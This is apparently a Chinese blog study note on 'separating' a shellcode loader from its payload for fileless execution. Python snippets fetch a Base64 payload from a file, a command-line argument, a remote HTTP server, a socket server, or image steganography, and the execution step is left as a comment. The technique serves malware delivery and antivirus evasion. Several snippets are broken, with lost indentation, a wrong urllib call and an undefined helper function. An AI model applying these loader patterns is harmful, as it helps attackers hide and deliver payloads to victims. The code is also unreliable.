【笔记】ShellCode加载器分离

前言

ShellCode加载器分离(无文件落地)学习笔记
以Python代码作为示例演示思路

将ShellCode进行Base64编码

1
2
3
4
5
import base64

shell_code = b'\x00\x00\x00\x00'
shell_code_base64 = base64.b64encode(shell_code)
print(shell_code_base64)

从文件中获取ShellCode

将Base64编码的ShellCode写入文件

shell_code_base64.bin
1
<shell_code_base64>

加载器从文件中读取ShellCode

1
2
3
4
5
6
7
import base64

shell_code = b''
with open('shell_code_base64.bin', 'r') as f:
shell_code_base64 = f.read()
shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

从命令行参数中获取ShellCode

加载器从命令行参数中获取ShellCode

main.py
1
2
3
4
5
6
import base64
import sys

shell_code_base64 = sys.argv[1]
shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

执行加载器时将Base64编码的ShellCode写入文件作为参数传递

1
python3 main.py <shell_code_base64>

从HTTP服务器中获取ShellCode

创建一个HTTP服务器,将ShellCode作为响应返回

site/shell_code_base64.txt
1
<shell_code_base64>
1
python3 -m http.server
1
Serving HTTP on :: port 8000 (/302.html?target=http://[::]:8000/) ...

加载器从HTTP服务器中获取ShellCode

requests

1
2
3
4
5
6
import base64
import requests

shell_code_base64 = requests.get('http://<ip>:8000/shell_code_base64.txt').text
shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

urllib

1
2
3
4
5
6
import base64
import urllib

shell_code_base64 = urllib.request('http://<ip>:8000/shell_code_base64.txt').read()
shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

从Socket管道中获取ShellCode

服务端发送ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import socket

# 创建 socket 对象
server_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定端口号
server_conn.bind(("0.0.0.0", 9999))

# 设置最大连接数,超过后排队
server_conn.listen(1)

while True:
# 建立与客户端的连接
client_conn, addr = server_conn.accept()
print(str(addr))

# 向客户端发送数据
client_conn.send("<shell_code_base64>".encode('utf-8'))

# 关闭连接
client_conn.close()

加载器作为客户端接收ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64
import socket

# 创建 socket 对象
client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 建立连接
client_conn.connect(("127.0.0.1", 9999))

# 接收服务端发送的数据
shell_code_base64 = client_conn.recv(2048).decode('utf-8')

# 关闭连接
client_conn.close()

shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

图片隐写后从图片中获取ShellCode

制作注入隐写数据后的图片

传送门

加载器从图片的隐写数据中获取ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
from PIL import Image


# 解码隐藏数据
def rgba_decode_image(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r >> 1 << 1 != r)) + str(int(g >> 1 << 1 != g)) + str(int(b >> 1 << 1 != b)) + str(int(t >> 1 << 1 != t)) for (r, g, b, t) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
location_double_null = binary.find('0000000000000000')
end_index = location_double_null + (
8 - (location_double_null % 8)) if location_double_null % 8 != 0 else location_double_null
data = binary_to_string(binary[0:end_index])
return data


# 解码隐藏数据
def rgb_decode_image(image):
# 获得像素列表
pixels = list(image.getdata())
# 提取图片中所有最低有效位中的数据
binary = ''.join([str(int(r >> 1 << 1 != r)) + str(int(g >> 1 << 1 != g)) + str(int(b >> 1 << 1 != b)) for (r, g, b) in pixels])
# 找到数据截止处的索引
location_double_null = binary.find('0000000000000000')
end_index = location_double_null + (8 - (location_double_null % 8)) if location_double_null % 8 != 0 else location_double_null
data = binary_to_string(binary[0:end_index])
return data


if __name__ == '__main__':

im = Image.open('<encoded_image>')

if im.mode == 'RGBA':
shell_code_base64 = rgba_decode_image(im)
elif im.mode == 'RGB':
shell_code_base64 = rgb_decode_image(im)

shell_code = base64.b64decode(shell_code_base64)
# 执行ShellCode

完成